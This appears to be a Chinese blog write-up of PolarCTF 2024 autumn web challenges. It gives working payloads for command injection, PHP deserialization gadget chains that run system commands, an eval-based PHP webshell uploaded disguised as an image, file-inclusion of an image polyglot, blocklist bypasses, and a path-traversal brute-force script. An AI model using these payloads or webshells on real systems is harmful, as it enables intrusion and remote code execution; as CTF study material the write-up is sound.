PolarCTF2024秋季

什么php大王

0x01 前言

还挺多的

0x02 question

EZ_Host

进入之后很明显啊,一个命令注入

1
/?host=127.0.0.1;tac%20f*

序列一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
 
class Polar{
    public $url = 'polarctf.com';
    public $lt;
    public $b;
     
     function  __destruct()
     {
        $a = $this->lt;
 
        $a($this->b);
     }
}
unserialize($_POST['x']);
highlight_file(__FILE__);
 
 
?> 

很简单的反序列化但是中途eval这边不行然后调试了一下下

1
2
3
4
5
6
7
8
<?php
class Polar{
    public $url = 'polarctf.com';
    public $lt='system';
    //public $b='whoami';
    public $b='tac /f*';
}
echo serialize(new Polar());

vm50给你flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
include 'funs.php';
highlight_file(__FILE__);
if (isset($_GET['file'])) {
    if (myWaf($_GET['file'])) {
        include($_GET['file']);
    } else {
        unserialize($_GET['data']);
    }
}

很明显进行任意文件读取

1
?file=php://filter/convert.base64-encode/resource=funs.php

同时肯定又是一个序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
include 'f1@g.php';
function myWaf($data)
{
    if (preg_match("/f1@g/i", $data)) {
        echo "NONONONON0!";
        return FALSE;
    } else {
        return TRUE;
    }
}

class A
{
    private $a;

    public function __destruct()
    {
        echo "A->" . $this->a . "destruct!";
    }
}

class B
{
    private $b = array();
    public function __toString()
    {
        $str_array= $this->b;
        $str2 = $str_array['kfc']->vm50;
        return "Crazy Thursday".$str2;
    }
}
class C{
    private $c = array();
    public function __get($kfc){
        global $flag;
        $f = $this->c[$kfc];
        var_dump($$f);
    }
}
1
A::destruct->B::toString->C::get

这个还是挺有意思,首先访问vm50这个属性要不存在也就是我们不要在B里面赋值,然后

var_dump($$f);这里我们就需要把$kfc里面还赋值一层数组(看个demo就知道了)

1
2
3
4
5
<?php
$c=array("vm50"=>"flag");
$a=array("kfc"=>$c);
$f=c[$kfc];
var_dump($$f);

所以触发get也是由于访问不到触发的,而不是不存在

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php
class A
{
    public $a;
}

class B
{
    public $b;
}
class C{
    public $c;
}
$a=new A();
$a->a=new B();
$c=new C();
$c->c=array("vm50"=>"flag");
$a->a->b=array("kfc"=>$c);

echo serialize($a);
1
?file=f1@g&data=O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";a:1:{s:3:"kfc";O:1:"C":1:{s:1:"c";a:1:{s:4:"vm50";s:4:"flag";}}}}}

Deserialize

访问这个/hidden/hidden.php,又是一个反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

class Token {
    public $id;
    public $secret;

    public function __construct($id, $secret) {
        $this->id = $id;
        $this->secret = $secret;
    }

    public function generateToken() {
        return "Token for {$this->id}";
    }
}

class User {
    public $name;
    public $isAdmin = false;
    public $token;

    public function __construct($name, $isAdmin, Token $token) {
        $this->name = $name;
        $this->isAdmin = $isAdmin;
        $this->token = $token;
    }

    public function getInfo() {
        return "{$this->name} is " . ($this->isAdmin ? "an admin" : "not an admin");
    }
}

class Product {
    public $productName;
    public $price;

    public function __construct($productName, $price) {
        $this->productName = $productName;
        $this->price = $price;
    }

    public function displayProduct() {
        return "Product: {$this->productName}, Price: {$this->price}";
    }
}

if (isset($_GET['data'])) {
    $data = $_GET['data'];
    $user = unserialize($data);
    if ($user instanceof User) {
        echo $user->getInfo() . "<br>";
        echo "Token: " . $user->token->generateToken() . "<br>";
        echo "Product: " . $user->token->product->displayProduct() . "<br>";
        if ($user->isAdmin) {
            echo "Here is your flag: " . file_get_contents('/flag');
        } else {
            echo "You are not admin!";
        }
    } else {
        echo "Invalid user data.";
    }
} else {
    highlight_file(__FILE__);
}
?>

这个没有链子,但是最后的会引导你进行写类和触发什么的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Token{
    public $id;
    public $secret;
}
class User{
    public $name;
    public $isAdmin=true;
    public $token;

}
class Product{
    public $productName;
    public $price;
}
$a=new User();
$a->name="bao";
$a->token=new Token();
$a->token->id=1;
$a->token->product=new Product();

echo serialize($a);
1
/hidden/hidden.php?data=O:4:"User":3:{s:4:"name";s:3:"bao";s:7:"isAdmin";b:1;s:5:"token";O:5:"Token":3:{s:2:"id";i:1;s:6:"secret";N;s:7:"product";O:7:"Product":2:{s:11:"productName";N;s:5:"price";N;}}}

传马

看到是阿帕奇但是说了只能用图片那就伪装一下先,等会不行再传.htaccess

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST / HTTP/1.1
Host: d020ad56-fb0d-4941-aad1-eb1857be5c29.www.polarctf.com:8090
Content-Length: 424
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://d020ad56-fb0d-4941-aad1-eb1857be5c29.www.polarctf.com:8090
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytr2beHroL6swRl2s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://d020ad56-fb0d-4941-aad1-eb1857be5c29.www.polarctf.com:8090/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundarytr2beHroL6swRl2s
Content-Disposition: form-data; name="upload_file"; filename="3.php"
Content-Type: image/png

<?=eval($_GET[a]);?>
------WebKitFormBoundarytr2beHroL6swRl2s
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarytr2beHroL6swRl2s--
1
/upload/3.php?a=echo `tac /f*`;

欧克比想象中简单

bllbl_ser1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

class bllbl
{
    public $qiang; // 我的强

    function __destruct()
    {
        $this->bllliang();
    }

    function bllliang()
    {
        $this->qiang->close();
    }
}

class bllnbnl
{
    public $er; // 我的儿

    function close()
    {
        eval($this->er);
    }
}

if (isset($_GET['blljl'])) {
    $user_data = unserialize($_GET['blljl']);
}

没啥好说的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php

class bllbl
{
    public $qiang; // 我的强
}

class bllnbnl
{
    public $er; // 我的儿
}
$a=new bllbl();
$a->qiang=new bllnbnl();
$a->qiang->er="system('tac /f*');";
echo serialize($a);

回显在源码里面

投喂

翻译一下就知道了

1
2
3
4
5
6
7
<?php
class User{
    public $username="bao";
    public $is_admin=true;
}
$a=new User();
echo serialize($a);

rapyiquan

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');

$url = $_SERVER['REQUEST_URI'];
function checkUrlParams($params) {
        if (strpos($params, '_') !== false) {
            return false;
        }
    return true;
}

if(checkUrlParams($url)){
    $cmd=$_GET['c_md'];
    if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
        echo("badly!");
    } else {
        echo `$cmd`;
    }
}else{
    echo "$url";
    echo "<br>";
    echo "Hack";
}

反斜杠绕过就可以了

1ncIud3

说的是要替换,现在是可以任意文件读取了

而且貌似这个../被过滤了,那么双写绕过

然后写个脚本(人机写的)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests
from itertools import product
import time

# 定义字符替换规则
replace_list = {
    'f': [ 'f', '4','F'],
    'l': ['1', 'I', 'L', 'i','l'],
    'a': ['@', '2', '3', '4','a'],
    'g': ['g', '9', 'G', '3', '6']
}

# 目标字符串
target = "flag"

# 生成所有可能的组合
def generate_combinations(target, replace_list):
    # 将目标字符串拆分成字符列表
    chars = list(target)
    
    # 生成每个字符的所有可能替换
    replacements = []
    for char in chars:
        if char in replace_list:
            replacements.append(replace_list[char])
        else:
            replacements.append([char])
    
    # 使用 itertools.product 生成所有可能的组合
    combinations = [''.join(combination) for combination in product(*replacements)]
    
    return combinations

# 生成所有可能的组合
combinations = generate_combinations(target, replace_list)

# 目标 URL
url = "http://b0fb50b6-d341-4be9-ac28-5e346250d721.www.polarctf.com:8090/"  # 替换为实际的 API URL

# 发送请求
for combination in combinations:
    params = {"page": "..././..././"+combination}
    response = requests.get(url, params=params)
    time.sleep(0.1)
    # 打印响应
    print(f"Sent: {combination}")
    print(f"Response: {response.status_code} {response.text}")

    # 如果响应中包含特定的内容,可以停止发送请求
    if "flag" in response.text:
        print(f"Found special response with combination: {combination}")
        break

自己稍微改改字典

笑傲上传

直接传不行了,那么就插入了,随便截一张图然后用010写进去就行

查看源码发现有地方可以包含,检查拿到路径

进行RCE

1
/upload/1820240922085407.png

emm,怎么和想象中不一样那就只能用虚拟机合成了

1
cat m.png m.php > a.png

上传成功之后发现了问题,我还是找不到木马,后来发现是路径错了,那么也就是说010插入的方法是可行的

1
2
3
4
http://e4f57176-9819-4beb-b68e-6c176a1eeb9e.www.polarctf.com:8090/include.php?file=/var/www/html/upload/3120240922091401.png

POST
a=echo `tac /f*`;

SnakeYaml

这玩意不会,给个官方脚本吧

CC6打spring内存马

一写一个不吱声

依然是不会呜呜

0x03 小结

其他的都还好,这里的序列化比较多,也挺新颖,至少之前没见过这么触发,java得整起来了

赞赏支持

Licensed under CC BY-NC-SA 4.0